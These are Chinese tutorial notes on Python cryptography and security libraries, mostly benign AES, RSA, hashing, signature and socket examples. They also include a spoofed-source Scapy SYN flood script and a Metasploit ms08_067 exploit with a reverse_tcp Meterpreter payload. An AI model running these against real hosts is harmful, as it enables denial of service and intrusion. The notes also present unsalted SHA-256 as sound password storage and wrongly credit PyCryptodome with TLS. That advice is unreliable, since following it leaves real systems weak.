
python中密码有关的库
加密算法与哈希函数
1.使用PyCryptodome库进行AES加密
AES(Advanced Encryption Standard)是一种常用的对称加密算法,PyCryptodome库提供了对AES的支持。
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
# 生成16字节的随机密钥
key = get_random_bytes(16)
# 初始化AES加密器
cipher = AES.new(key, AES.MODE_EAX)
# 加密明文
plaintext = b'This is a secret message'
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
print("Ciphertext:", ciphertext)
print("Tag:", tag)
# 解密密文
cipher = AES.new(key, AES.MODE_EAX, cipher.nonce)
decrypted_text = cipher.decrypt_and_verify(ciphertext, tag)
print("Decrypted text:", decrypted_text)
![[PyCryptodome库.png]]
2.使用hashlib库进行哈希函数计算
哈希函数是密码学中的重要概念,常用于密码存储、数据完整性校验等场景。Python的hashlib库提供了多种哈希函数的实现。
import hashlib
# 计算MD5哈希值
md5_hash = hashlib.md5(b'Hello World').hexdigest()
print("MD5 Hash:", md5_hash)
# 计算SHA-256哈希值
sha256_hash = hashlib.sha256(b'Hello World').hexdigest()
print("SHA-256 Hash:", sha256_hash)
![[hashlib库.png]]
网络安全工具
1.使用Scapy进行网络数据包操作
Scapy是一个功能强大的网络数据包操作工具,可以用于网络嗅探、数据包构造等任务。
from scapy.all import *
# 发送Ping请求
ping = IP(dst="www.example.com")/ICMP()
response = sr1(ping, timeout=2)
if response:
print("Ping response received:", response.summary())
else:
print("No response received")
2.使用Socket库进行基本的网络通信
Socket库是Python中用于网络编程的基础库,可以实现TCP、UDP等协议的通信。
import socket
# 创建TCP连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('www.example.com', 80))
# 发送HTTP请求
s.sendall(b'GET / HTTP/1.1\r\nHost: www.example.com\r\n\r\n')
# 接收服务器响应
response = s.recv(1024)
print("Server response:", response.decode())
# 关闭连接
s.close()
密码学应用
1.使用PyCryptodome库进行RSA加密
RSA算法是一种非对称加密算法,PyCryptodome库提供了对RSA的支持。
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
# 生成RSA密钥对
key = RSA.generate(2048)
# 初始化RSA加密器
cipher_rsa = PKCS1_OAEP.new(key)
# 加密明文
plaintext = b'This is a secret message'
ciphertext = cipher_rsa.encrypt(plaintext)
print("Ciphertext:", ciphertext)
# 解密密文
decrypted_text = cipher_rsa.decrypt(ciphertext)
print("Decrypted text:", decrypted_text.decode())
![[使用PyCryptodome库进行RSA加密.png]]
2.使用hashlib库进行密码存储
在实际应用中,密码通常不会以明文形式存储,而是通过哈希函数进行存储和校验。
import hashlib
# 创建密码哈希
password = b'mysecretpassword'
hashed_password = hashlib.sha256(password).hexdigest()
print("Hashed password:", hashed_password)
# 校验密码
input_password = b'mysecretpassword'
input_hashed_password = hashlib.sha256(input_password).hexdigest()
if input_hashed_password == hashed_password:
print("Password correct")
else:
print("Password incorrect")
![[使用hashlib库进行密码存储.png]]
网络安全工具进阶
1.使用Scapy进行网络攻击与防御
Scapy不仅可以用于网络数据包操作,还可以实现各种网络攻击与防御。
from scapy.all import *
# 发送TCP SYN Flood攻击
target_ip = "192.168.1.1"
target_port = 80
spoofed_ip = "10.0.0.1"
for _ in range(1000):
packet = IP(src=spoofed_ip, dst=target_ip)/TCP(sport=RandShort(), dport=target_port, flags="S")
send(packet, verbose=0)
2.使用Socket库实现简单的端口扫描
Socket库可以实现简单的端口扫描,用于发现网络中开放的服务。
import socket
target_ip = "192.168.1.1"
for port in range(1, 1025):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
result = s.connect_ex((target_ip, port))
if result == 0:
print("Port {} is open".format(port))
s.close()
网络安全攻防演练
1.使用Metasploit进行渗透测试
Metasploit是一款广泛使用的渗透测试框架,可以用于评估网络的安全性,并进行漏洞利用测试。
# 使用msfconsole控制台
from metasploit.msfrpc import MsfRpcClient
client = MsfRpcClient('password')
console = client.consoles.console()
# 启动exploit
console.write('use exploit/windows/smb/ms08_067_netapi')
console.write('set RHOST 192.168.1.10')
console.write('set PAYLOAD windows/meterpreter/reverse_tcp')
console.write('set LHOST 192.168.1.20')
console.write('exploit')
2.使用Nmap进行网络扫描
Nmap是一款强大的网络扫描工具,可以用于发现网络中的主机和开放的端口。
import nmap
# 创建Nmap扫描器
nm = nmap.PortScanner()
# 扫描指定IP地址的所有端口
nm.scan('192.168.1.1', arguments='-p 1-65535')
# 输出扫描结果
for host in nm.all_hosts():
print('Host : %s (%s)' % (host, nm[host].hostname()))
print('State : %s' % nm[host].state())
for proto in nm[host].all_protocols():
print('Protocol : %s' % proto)
ports = nm[host][proto].keys()
for port in ports:
print('Port : %s\tState : %s' % (port, nm[host][proto][port]['state']))
高级密码学应用
1.使用PyCryptodome库进行数字签名
数字签名是一种用于验证数据完整性和认证发送方身份的技术。PyCryptodome库提供了对数字签名的支持。
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
# 生成RSA密钥对
key = RSA.generate(2048)
# 创建SHA-256哈希对象
hash_obj = SHA256.new(b'This is the data to be signed')
# 使用私钥进行数字签名
signature = pkcs1_15.new(key).sign(hash_obj)
# 使用公钥验证签名
try:
pkcs1_15.new(key.publickey()).verify(hash_obj, signature)
print("Signature verified")
except (ValueError, TypeError):
print("Signature verification failed")
![[使用PyCryptodome库进行数字签名.png]]
2.使用PyCryptodome库进行TLS/SSL加密通信
TLS/SSL是一种用于保护网络通信安全的协议,PyCryptodome库可以用于在Python中实现TLS/SSL加密通信。
from socket import socket, AF_INET, SOCK_STREAM
from ssl import wrap_socket
# 创建TCP连接
s = socket(AF_INET, SOCK_STREAM)
# 使用TLS/SSL包装套接字
ssl_socket = wrap_socket(s)
# 连接服务器
ssl_socket.connect(('www.example.com', 443))
# 发送加密数据
ssl_socket.sendall(b'GET / HTTP/1.1\r\nHost: www.example.com\r\n\r\n')
# 接收服务器响应
response = ssl_socket.recv(1024)
print("Server response:", response.decode())
# 关闭连接
ssl_socket.close()